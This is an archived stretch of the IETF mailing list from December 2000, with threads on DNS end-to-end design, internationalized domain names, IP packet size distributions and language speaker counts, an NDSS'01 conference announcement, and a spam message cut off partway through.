In-Reply-To: <4.3.2.7.2.20001206181258.022b9b90@pop.dial.pipex.com> References: <5.0.1.4.2.20001204080352.03528790@joy.songbird.com> <4.2.0.58.J.20001204170631.0340fce0@sh.w3.mag.keio.ac.jp> <5.0.1.4.2.20001203135539.02b06ec0@joy.songbird.com> <4.3.2.7.2.20001203074928.00b7ec90@pop.dial.pipex.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 06:21 PM 12/6/00 +0000, Graham Klyne wrote: >BTW, the basic tenet of end-to-end connectivity of data and services is, I >think, satisfied by the IP layer. Part of my question was about the >extent to which this end-to-end-ness needs to be duplicated at higher layers. Not sure whether this is a distraction -- hence the modified Subject -- but I do NOT consider an end-to-end mechanism at one level to be sufficient, when talking about end-to-end at another level. Lower layers must support the e2e requirements of the layer under discussion, but those lower layers do not satisfy the requirements by themselves. If the layer under discussion, in this case the DNS application, does not support e2e, then the fact that IP does does not buy much. d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Fri Dec 8 03:00:45 2000 Received: by ietf.org (8.9.1a/8.9.1a) id DAA29823 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 03:00:02 -0500 (EST) Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA29484 for ; Fri, 8 Dec 2000 02:58:32 -0500 (EST) Received: from HALVESTR-8KCDT.alvestrand.no (localhost [127.0.0.1]) by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id IAA16636; Fri, 8 Dec 2000 08:58:27 +0100 Message-Id: <4.3.2.7.2.20001208083355.02558ef8@127.0.0.1> X-Sender: hta@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 08 Dec 2000 08:42:16 +0100 To: "Matt Crawford" , ietf@ietf.org From: Harald Alvestrand Subject: Speaker counts (Re: Internationalization and the IETF) In-Reply-To: <200012072109.PAA21149@gungnir.fnal.gov> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 15:09 07/12/2000 -0600, Matt Crawford wrote: > > If the world had asked you or me to design an international > > language, I think either of us would have done better. > >Don't be too sure. Even today, there are no more speakers of >Esperanto than of Mayan. Take care. The SIL Ethnologue claims that the Mayan language family has 68 different languages as members, with Maya (Yuteco, Peninsula Maya) spoken by 700.000 speakers in Mexico "according to a 1990 census". http://www.sil.org/ethnologue/countries/Mexi.html#YUA According to the Esperanto FAQ at http://www.esperanto.net/veb/faq-5.html, quoting the "world almanac and book of facts", the best guess for the number of Esperanto speakers in the world is approximately 2 million. Harald -- Harald Tveit Alvestrand, alvestrand@cisco.com +47 41 44 29 94 Personal email: Harald@Alvestrand.no From owner-ietf-outbound Fri Dec 8 15:42:47 2000 Received: by ietf.org (8.9.1a/8.9.1a) id PAA17335 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 15:40:02 -0500 (EST) Received: from mail.horizonpr.com (mail.horizonpr.com [205.178.43.226]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA14261 for ; Fri, 8 Dec 2000 15:32:30 -0500 (EST) Received: from jenn01.horizonpr.com (JENN01 [10.14.100.120]) by mail.horizonpr.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id Y3R68YV2; Fri, 8 Dec 2000 12:29:41 -0800 Message-Id: <4.3.2.7.2.20001208123028.00b93970@mail.horizonpr.com> X-Sender: pbui@mail.horizonpr.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 08 Dec 2000 12:31:40 -0800 To: ietf@ietf.org From: Pipo Bui Subject: IP Packet size Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org Hi, I am evaluating an IP in IP encapsulation technology and would like to know the average size or size range of an IP Packet, including the 20 byte header. Can you tell me this or where to find it? Thanks, Pipo Pipo Bui Associate Horizon Communications 5201 Great America Parkway, Suite 333 Santa Clara, CA 95054 408-969-4888 x103 From owner-ietf-outbound Fri Dec 8 16:20:26 2000 Received: by ietf.org (8.9.1a/8.9.1a) id QAA28388 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 16:20:03 -0500 (EST) Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA26948 for ; Fri, 8 Dec 2000 16:14:06 -0500 (EST) From: Valdis.Kletnieks@vt.edu Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1]) by black-ice.cc.vt.edu (8.12.0.Alpha1/8.12.0.Alpha1) with ESMTP id eB8LASCW11646; Fri, 8 Dec 2000 16:10:29 -0500 Message-Id: <200012082110.eB8LASCW11646@black-ice.cc.vt.edu> X-Mailer: exmh version 2.2 06/23/2000 with nmh-1.0.4+dev To: Pipo Bui Cc: ietf@ietf.org Subject: Re: IP Packet size In-Reply-To: Your message of "Fri, 08 Dec 2000 12:31:40 PST." <4.3.2.7.2.20001208123028.00b93970@mail.horizonpr.com> X-Url: http://black-ice.cc.vt.edu/~valdis/ X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t( ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[ Mime-Version: 1.0 Content-Type: multipart/signed; boundary="==_Exmh_-369119724P"; micalg=pgp-sha1; protocol="application/pgp-signature" Content-Transfer-Encoding: 7bit Date: Fri, 08 Dec 2000 16:10:28 -0500 X-Loop: ietf@ietf.org --==_Exmh_-369119724P Content-Type: text/plain; charset=us-ascii On Fri, 08 Dec 2000 12:31:40 PST, Pipo Bui said: > I am evaluating an IP in IP encapsulation technology and would like to know > the average size or size range of an IP Packet, including the 20 byte header. > Can you tell me this or where to find it? The concept of an "average" packet is misleading. In different environments, the average packet size will differ. For instance, my workstation has a high spike of packets wiht a data payload of 1 byte or so, because I do a lot of remote login to other machines. Machines doing a lot of NFS traffic will tend to show a lot of 8K packets (or whatever 8K fragments to on their network interface), web servers will probably show a mix of very short inbound packets (basically a URL and maybe a short GET/POST section), and a lot of very large outbound packets (which is why early cable modems that had a 10Mbit downlink but a 56kb modem uplink worked well). You'll really need to take measurements on your organizational backbone and see what distribution you get. Most likely, you will see spikes at several "common" sizes, with little traffic at other sizes. -- Valdis Kletnieks Operating Systems Analyst Virginia Tech --==_Exmh_-369119724P Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 Comment: Exmh version 2.2 06/16/2000 iQA/AwUBOjFOQ3At5Vm009ewEQLyywCfeBuR39Ekz7vxXZIXXc6I4DGGNVsAoKqC 0b8xPXokRWDs35bpwv4ysbo0 =urLD -----END PGP SIGNATURE----- --==_Exmh_-369119724P-- From owner-ietf-outbound Fri Dec 8 17:10:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA10435 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 17:10:02 -0500 (EST) Received: from Thor.Adtech-Inc.COM (Thor.Adtech-Inc.COM [63.165.80.10]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA07171 for ; Fri, 8 Dec 2000 16:55:01 -0500 (EST) Received: from Apollo.Adtech-Inc.COM (Apollo.Adtech-Inc.COM [10.12.0.17]) by Thor.Adtech-Inc.COM (8.10.2/8.10.2) with ESMTP id eB8Ls8T29848; Fri, 8 Dec 2000 11:54:08 -1000 (HST) Received: by apollo.adtech-inc.com with Internet Mail Service (5.5.2650.21) id ; Fri, 8 Dec 2000 11:54:07 -1000 Message-ID: From: "Uyeshiro, Robin" To: "'Pipo Bui'" , ietf@ietf.org Subject: RE: IP Packet size Date: Fri, 8 Dec 2000 11:54:07 -1000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C06161.637B97A0" X-Loop: ietf@ietf.org This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C06161.637B97A0 Content-Type: text/plain; charset="iso-8859-1" Check out www.caida.org. -----Original Message----- From: Pipo Bui [mailto:pbui@horizonpr.com] Sent: Friday, December 08, 2000 10:32 AM To: ietf@ietf.org Subject: IP Packet size Hi, I am evaluating an IP in IP encapsulation technology and would like to know the average size or size range of an IP Packet, including the 20 byte header. Can you tell me this or where to find it? Thanks, Pipo Pipo Bui Associate Horizon Communications 5201 Great America Parkway, Suite 333 Santa Clara, CA 95054 408-969-4888 x103 - This message was passed through ietf+censored@alvestrand.no, which is a sublist of ietf@ietf.org. Not all messages are passed. Decisions on what to pass are made solely by Harald Alvestrand. ------_=_NextPart_001_01C06161.637B97A0 Content-Type: text/html; charset="iso-8859-1" RE: IP Packet size

Check out www.caida.org. 

 -----Original Message-----
From:   Pipo Bui [mailto:pbui@horizonpr.com]
Sent:   Friday, December 08, 2000 10:32 AM
To:     ietf@ietf.org
Subject:        IP Packet size

Hi,
I am evaluating an IP in IP encapsulation technology and would like to know
the average size or size range of an IP Packet, including the 20 byte header.
Can you tell me this or where to find it?
Thanks,
Pipo

Pipo Bui
Associate
Horizon Communications
5201 Great America Parkway, Suite 333
Santa Clara, CA 95054
408-969-4888 x103


-
This message was passed through ietf+censored@alvestrand.no, which
is a sublist of ietf@ietf.org. Not all messages are passed.
Decisions on what to pass are made solely by Harald Alvestrand.

------_=_NextPart_001_01C06161.637B97A0-- From owner-ietf-outbound Fri Dec 8 17:20:16 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA13187 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 17:20:01 -0500 (EST) Received: from sr.twincreeks.net (c441085-a.plstn1.sfba.home.com [24.1.83.242]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA09236 for ; Fri, 8 Dec 2000 17:04:37 -0500 (EST) Received: (from feldman@localhost) by sr.twincreeks.net (8.9.3/8.9.3) id OAA57649; Fri, 8 Dec 2000 14:02:46 -0800 (PST) (envelope-from feldman) Date: Fri, 8 Dec 2000 14:02:40 -0800 From: Steve Feldman To: Pipo Bui Cc: ietf@ietf.org Subject: Re: IP Packet size Message-ID: <20001208140240.A57205@twincreeks.net> References: <4.3.2.7.2.20001208123028.00b93970@mail.horizonpr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <4.3.2.7.2.20001208123028.00b93970@mail.horizonpr.com>; from pbui@horizonpr.com on Fri, Dec 08, 2000 at 12:31:40PM -0800 X-Loop: ietf@ietf.org There's lot of data at http://moat.nlanr.net try http://moat.nlanr.net//Datacube/Data/AIX/PLen/20001206/976126449-1.PLen for an example, and http://moat.nlanr.net/PMA/Datacube.html for access to more data. CAIDA (http://www.caida.org) also has some data on packet lengths. As a previous response pointed out, it's the distribution of packet lengths that really is interesting, not just the mean. Steve On Fri, Dec 08, 2000 at 12:31:40PM -0800, Pipo Bui wrote: > Hi, > I am evaluating an IP in IP encapsulation technology and would like to know > the average size or size range of an IP Packet, including the 20 byte header. > Can you tell me this or where to find it? > Thanks, > Pipo > > Pipo Bui > Associate > Horizon Communications > 5201 Great America Parkway, Suite 333 > Santa Clara, CA 95054 > 408-969-4888 x103 > From owner-ietf-outbound Fri Dec 8 17:30:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA16026 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 17:30:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA09918 for ; Fri, 8 Dec 2000 17:07:49 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id OAA16208; Fri, 8 Dec 2000 14:06:21 -0800 (PST) Message-Id: <5.0.2.1.2.20001208134917.03cae030@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 08 Dec 2000 13:52:05 -0800 To: "Anthony Atkielski" From: Fred Baker Subject: Re: Internationalization and the IETF Cc: In-Reply-To: <028701c0606c$e16e98b0$0a00000a@triplex> References: <200012071506.JAA13466@rgfsparc.cr.usgs.gov> <027a01c06068$0d54cb20$0a00000a@triplex> <200012071640.eB7Ge8mv217644@black-ice.cc.vt.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 02:43 PM 12/7/00 +0100, Anthony Atkielski wrote: >Not a valid comparison. Do we have a worldwide, global phonebook that lists >every telephone number on the planet? yes. we call it "411". If the operator doesn't have the information, s/he redirects you to someone who does. >Do we have telephones with >keyboards into which you type a name instead of a number? Yes. we enter them manually, which is a pain, but I have ten such buttons on my phone, and my cell phone has space for about 30. >And yet we get by very well without them. that's not obvious either. If I want to call you, I have to track down your phone number. I can't just call the operator and say "connect me to Anthony Atkielski". But I can find your email address pretty quickly with a web browser, and atkielski.com isn't too hard to come by. From owner-ietf-outbound Fri Dec 8 17:40:13 2000 Received: by ietf.org (8.9.1a/8.9.1a) id RAA18257 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 17:40:03 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA10763 for ; Fri, 8 Dec 2000 17:11:05 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id OAA16197; Fri, 8 Dec 2000 14:06:20 -0800 (PST) Message-Id: <5.0.2.1.2.20001208134734.03cb16e0@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 08 Dec 2000 13:47:50 -0800 To: Masataka Ohta From: Fred Baker Subject: Re: Will Language Wars Balkanize the Web? Cc: ietf@ietf.org In-Reply-To: <200012071850.DAA20768@necom830.hpcl.titech.ac.jp> References: <200012071724.MAA15710@astro.cs.utk.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 03:49 AM 12/8/00 +0859, Masataka Ohta wrote: >However, they can't justify to call them internationalization. precisely. From owner-ietf-outbound Fri Dec 8 18:14:38 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA25245 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 18:10:02 -0500 (EST) Received: from sentry.gw.tislabs.com (firewall-user@relay.hq.tis.com [192.94.214.100]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA23165 for ; Fri, 8 Dec 2000 18:00:45 -0500 (EST) Received: by sentry.gw.tislabs.com; id SAA10518; Fri, 8 Dec 2000 18:03:47 -0500 (EST) Received: from clipper.gw.tislabs.com(10.33.1.2) by sentry.gw.tislabs.com via smap (V5.5) id xma010514; Fri, 8 Dec 00 18:03:16 -0500 Received: (from balenson@localhost) by clipper.gw.tislabs.com (8.9.3/8.9.1) id RAA24969 for ietf@ietf.org; Fri, 8 Dec 2000 17:59:35 -0500 (EST) Date: Fri, 8 Dec 2000 17:59:35 -0500 (EST) From: "David M. Balenson" Message-Id: <200012082259.RAA24969@clipper.gw.tislabs.com> To: ietf@ietf.org Subject: ANNOUNCE: ISOC Netw. & Distr. Sys. Security Symp. (NDSS'01) X-Loop: ietf@ietf.org R E G I S T E R N O W ! ! THE INTERNET SOCIETY'S 2001 NETWORK AND DISTRIBUTED SYSTEM SECURITY SYMPOSIUM (NDSS'01) February 8-9, 2001 Catamaran Resort Hotel, San Diego, California General Chair: Steve Welke, Trusted Computer Solutions Program Chairs: Avi Rubin, AT&T Labs - Research Paul Van Oorschot, Entrust Technologies ONLINE INFORMATION AND REGISTRATION: http://www.isoc.org/ndss01 EARLY REGISTRATION DISCOUNT DEADLINE: January 11, 2001 The 8th annual NDSS Symposium brings together researchers, implementers, and users of network and distributed system security technologies to discuss today's important security issues and challenges. The Symposium provides a mix of technical papers and panel presentations that describe promising new approaches to security problems that are practical and, to the extent possible, have been implemented. NDSS fosters the exchange of technical information and encourages the Internet community to deploy available security technologies and develop new solutions to unsolved problems. THIS YEAR'S TOPICS INCLUDE: * IP Traceback * Authenticating Streamed Data * ATM Encryption * Source Authentication for Multicast * Distributed Certified E-Mail * Wireless Security * Multi-Security Domain Networks * Authentication And Key Agreement * Access Control Language for Security Policies * Limiting the Disclosure of Access Control Policies * Principles of Policy in Secure Groups * Trust Management for IPsec * Building Certification Paths * Decentralized Jini Security * Termination in Language-based Systems * Cryptography as a Network Service * Implementation of Kerberos Crossrealm Referral Handling * Security Risks of Peer-to-Peer Networking PRE-CONFERENCE TECHNICAL TUTORIALS: * Network Security Protocol Standards, Stephen Kent * Deployed & Emerging Security Systems for the Internet, Radia Perlman & Charlie Kaufman * Building Secure Software, Gary McGraw * Intrusion Detection, Dan Nadir * Biometrics, Jim Wayman * Group Security, Thomas Hardjono & Hugh Harney SPONSORSHIP OPPORTUNITIES AVAILABLE! Take advantage of this high visibility event. Contact Torryn Brazell at the Internet Society at +1-703-326-9880 or send e-mail to brazell@isoc.org. THE INTERNET SOCIETY is a non-governmental organization for global cooperation and coordination for the Internet and its internetworking technologies and applications. From owner-ietf-outbound Fri Dec 8 18:20:22 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA28630 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 18:20:04 -0500 (EST) Received: from zed.isi.edu (IDENT:root@zed.isi.edu [128.9.160.57]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA28108 for ; Fri, 8 Dec 2000 18:18:26 -0500 (EST) Received: (from bmanning@localhost) by zed.isi.edu (8.11.0/8.11.0) id eB8MIbC16255; Fri, 8 Dec 2000 14:18:37 -0800 From: Bill Manning Message-Id: <200012082218.eB8MIbC16255@zed.isi.edu> Subject: Re: Internationalization and the IETF To: fred@cisco.com (Fred Baker) Date: Fri, 8 Dec 2000 14:18:37 -0800 (PST) Cc: anthony@atkielski.com (Anthony Atkielski), ietf@ietf.org In-Reply-To: <5.0.2.1.2.20001208134917.03cae030@flipper.cisco.com> from "Fred Baker" at Dec 08, 2000 01:52:05 PM X-Mailer: ELM [version 2.5 PL3] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit % that's not obvious either. If I want to call you, I have to track down your % phone number. I can't just call the operator and say "connect me to Anthony % Atkielski". But I can find your email address pretty quickly with a web % browser, and atkielski.com isn't too hard to come by. Buzzt. 1000 times on the chauk board: The DNS is not a directory service... -- --bill From owner-ietf-outbound Fri Dec 8 18:50:18 2000 Received: by ietf.org (8.9.1a/8.9.1a) id SAA08811 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 18:50:04 -0500 (EST) Received: from web10607.mail.yahoo.com (web10607.mail.yahoo.com [216.136.130.171]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA05922 for ; Fri, 8 Dec 2000 18:41:01 -0500 (EST) Message-ID: <20001208215353.14373.qmail@web10607.mail.yahoo.com> Received: from [199.67.138.20] by web10607.mail.yahoo.com; Fri, 08 Dec 2000 13:53:52 PST Date: Fri, 8 Dec 2000 13:53:52 -0800 (PST) From: Gabriel Landowski Subject: Re: bookmarks (was Re: Internationalization and the IETF) To: Dave Crocker Cc: ietf@ietf.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org --- Dave Crocker wrote: > If we did not already have very wide-scale use of > ascii, it might be worth > considering numerals as the common form. But that > wide-scale use is > everywhere. Why not alias the ASCII to the numeral form? Gabriel Landowski Mindangle, USA __________________________________________________ Do You Yahoo!? Yahoo! Shopping - Thousands of Stores. Millions of Products. http://shopping.yahoo.com/ From owner-ietf-outbound Fri Dec 8 20:10:33 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA29038 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 20:10:03 -0500 (EST) Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA27482 for ; Fri, 8 Dec 2000 20:02:39 -0500 (EST) Received: (from bovik@localhost) by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id RAA20509; Fri, 8 Dec 2000 17:02:07 -0800 (PST) Date: Fri, 8 Dec 2000 17:02:07 -0800 (PST) From: "James P. Salsman" Message-Id: <200012090102.RAA20509@shell9.ba.best.com> To: ietf@ietf.org Subject: Postel's razor applied to ACE X-Loop: ietf@ietf.org If ACE wanted to be liberal with what it accepts, it would not insist that applications "MUST" stop with an error when it finds that the encoded string has an ASCII representation. Political decisions about uniqueness should not require everyone to have to upgrade their servers to software that thinks it knows which of the Unicode table entries correspond directly to ASCII glyphs. For what applications would ACE be superior to UTF-5? Is there an Internet Draft describing the differences between the two? Cheers, James From owner-ietf-outbound Fri Dec 8 20:50:19 2000 Received: by ietf.org (8.9.1a/8.9.1a) id UAA03678 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 20:50:02 -0500 (EST) Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA02800 for ; Fri, 8 Dec 2000 20:42:30 -0500 (EST) Received: from [165.227.249.17] (ip17.proper.com [165.227.249.17]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id RAA18286 for ; Fri, 8 Dec 2000 17:40:12 -0800 (PST) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <200012090102.RAA20509@shell9.ba.best.com> References: <200012090102.RAA20509@shell9.ba.best.com> Date: Fri, 8 Dec 2000 17:42:29 -0800 To: ietf@ietf.org From: Paul Hoffman / IMC Subject: Re: Postel's razor applied to ACE Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Loop: ietf@ietf.org One more time with feeling: please take this discussion to the IDN WG's mailing list. It has no place on the main IETF mailing list, and it needs to be discussed where the people working on the protocol are working. Of course, one might want to read the WG's archive before posting to the list, given that many of the topics that have appeared here this week have already been discussed..... IDN WG info: --Paul Hoffman, Director --Internet Mail Consortium From owner-ietf-outbound Fri Dec 8 21:00:14 2000 Received: by ietf.org (8.9.1a/8.9.1a) id VAA05809 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 21:00:02 -0500 (EST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.43.88]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA05384 for ; Fri, 8 Dec 2000 20:58:09 -0500 (EST) Received: from p7020-img-nt.cisco.com (fred-hm-dhcp1.cisco.com [171.69.128.116]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id RAA14436; Fri, 8 Dec 2000 17:57:36 -0800 (PST) Message-Id: <5.0.2.1.2.20001208163755.02b65940@flipper.cisco.com> X-Sender: fred@flipper.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Fri, 08 Dec 2000 17:10:31 -0800 To: "Uyeshiro, Robin" From: Fred Baker Subject: RE: IP Packet size Cc: "'Pipo Bui'" , ietf@ietf.org In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 11:54 AM 12/8/00 -1000, Uyeshiro, Robin wrote: >I am evaluating an IP in IP encapsulation technology and would like to know >the average size or size range of an IP Packet, including the 20 byte header. >Can you tell me this or where to find it? various studies in various places have come up with different answers. It depends on who is using what part of the net for what purpose, what applications he is using, and what sized files he's moving around. The general observation is that: - TCP represents 90-95% of the traffic on the net - TCP Acknowledges are among the most common packets in the net: 40 bytes - TCP SYN and SYN-ACK happens for each TCP session: 44 bytes - Once a transmission occupies two segments, one of them will be MSS-sized; that will be either 512 data bytes plus TCP and IP headers (552), or it will approximate the MTU on one of the links en route (usually ~1500) - The last packet in the train will be random sized. There will be at least one such per direction per session established. So in general, you get one Ack for each two data segments somebody sends, and a lot of web sessions will have only one data packet each way. TCP control messages are variously reported, but seem to be around 30-40% of total traffic. Random sized packets are perhaps a quarter of traffic to a third, and MSS/MTU sized packets are the rest. The average of the above is generally in the 200-250 bytes per packet neighborhood, largely due to the predominance of 552 byte segments. If Path MTU were more widely used - something one would expect to happen as systems are upgraded over time - this likely would grow to upper hundreds. That is an over-the-thumb summary of a lot of different traffic captures (including but not limited to CAIDA captures) I have looked at or read about, and should be treated as appropriately fuzzy. From owner-ietf-outbound Fri Dec 8 23:50:23 2000 Received: by ietf.org (8.9.1a/8.9.1a) id XAA08322 for ietf-outbound.10@ietf.org; Fri, 8 Dec 2000 23:50:02 -0500 (EST) Received: from rip.psg.com (exim@rip.psg.com [147.28.0.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA08201 for ; Fri, 8 Dec 2000 23:49:27 -0500 (EST) Received: from randy by rip.psg.com with local (Exim 3.16 #1) id 144bwq-0007u5-00; Fri, 08 Dec 2000 20:49:24 -0800 From: Randy Bush MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Bill Manning Cc: fred@cisco.com (Fred Baker), anthony@atkielski.com (Anthony Atkielski), ietf@ietf.org Subject: Re: Internationalization and the IETF References: <5.0.2.1.2.20001208134917.03cae030@flipper.cisco.com> <200012082218.eB8MIbC16255@zed.isi.edu> Message-Id: Date: Fri, 08 Dec 2000 20:49:24 -0800 Content-Transfer-Encoding: 7bit X-Loop: ietf@ietf.org Content-Transfer-Encoding: 7bit > Buzzt. 1000 times on the chauk board: > The DNS is not a directory service... but it's an address registry? From owner-ietf-outbound Sat Dec 9 02:00:46 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA01816 for ietf-outbound.10@ietf.org; Sat, 9 Dec 2000 02:00:05 -0500 (EST) Received: from shell9.ba.best.com (root@shell9.ba.best.com [206.184.139.140]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA01624 for ; Sat, 9 Dec 2000 01:59:36 -0500 (EST) Received: (from bovik@localhost) by shell9.ba.best.com (8.9.3/8.9.2/best.sh) id WAA23416; Fri, 8 Dec 2000 22:59:29 -0800 (PST) Date: Fri, 8 Dec 2000 22:59:29 -0800 (PST) From: "James P. Salsman" Message-Id: <200012090659.WAA23416@shell9.ba.best.com> To: phoffman@IMC.ORG Subject: Re: Postel's razor applied to ACE Cc: ietf@ietf.org In-Reply-To: X-Loop: ietf@ietf.org Paul, Thank you for your replies: > One more time with feeling: please take this discussion to the IDN > WG's mailing list. It has no place on the main IETF mailing list I understand your perspective as the authority on ACE, but UTF-5 and competing representations are not limited to domain name applications. For example, email user-names and URIs both face very similar issues: what if your multibyte representation produces syntactic elements such as "@" or "/" respectivly? >> Is there an Internet Draft describing the differences between the two? http://www.i-d-n.net/draft/draft-ietf-idn-compare-01.txt ACE would be so much friendlier if the fatal error required when an ASCII-capable representation is encountered were softened to the simple return of the corresponding ASCII string. Cheers, James From owner-ietf-outbound Sat Dec 9 02:10:20 2000 Received: by ietf.org (8.9.1a/8.9.1a) id CAA12734 for ietf-outbound.10@ietf.org; Sat, 9 Dec 2000 02:10:06 -0500 (EST) Received: from joy.songbird.com (IDENT:root@songbird.com [208.184.79.7]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA09143 for ; Sat, 9 Dec 2000 02:06:36 -0500 (EST) Received: from dcrocker.dcrocker.net ([63.112.4.187]) by joy.songbird.com (8.9.3/8.9.3) with ESMTP id XAA01279; Fri, 8 Dec 2000 23:06:34 -0800 Message-Id: <5.0.1.4.2.20001208230611.00a842c0@joy.songbird.com> X-Sender: dhc2@joy.songbird.com X-Mailer: QUALCOMM Windows Eudora Version 5.0.1 Date: Fri, 08 Dec 2000 23:06:46 -0500 To: Gabriel Landowski From: Dave Crocker Subject: Re: bookmarks (was Re: Internationalization and the IETF) Cc: ietf@ietf.org In-Reply-To: <20001208215353.14373.qmail@web10607.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Loop: ietf@ietf.org At 01:53 PM 12/8/00 -0800, Gabriel Landowski wrote: >Why not alias the ASCII to the numeral form? What is the benefit of having the numeric form all, since we already have a common form (ascii)? d/ =-=-=-=-= Dave Crocker Brandenburg Consulting Tel: +1.408.246.8253, Fax: +1.408.273.6464 From owner-ietf-outbound Sat Dec 9 12:20:44 2000 Received: by ietf.org (8.9.1a/8.9.1a) id MAA24480 for ietf-outbound.10@ietf.org; Sat, 9 Dec 2000 12:20:02 -0500 (EST) Received: from nt1.rocori.k12.mn.us (nt1.rocori.k12.mn.us [207.229.251.2]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA23351; Sat, 9 Dec 2000 12:14:24 -0500 (EST) Message-Id: <200012091714.MAA23351@ietf.org> From: Mail Sender To: idr-request@merit.edu CC: idwg-public@zurich.ibm.com, idwg-public-request@zurich.ibm.com, Iecms@dds.nl, iesg@ietf.org, ietf@ietf.org Subject: Russian Goods and Service from Moscow Reply-To: mailsender@mailsender.ru Date: 09.12.2000 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Loop: ietf@ietf.org www.rusgoods.com www.rusgoods.ru ================================================================ We present you the production of the 1-st Moscow Watch Factory "Poljot" (Flying). From the simple 